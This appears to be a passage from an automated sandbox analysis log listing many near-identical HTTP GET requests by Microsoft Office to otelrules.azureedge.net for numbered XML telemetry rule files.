Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
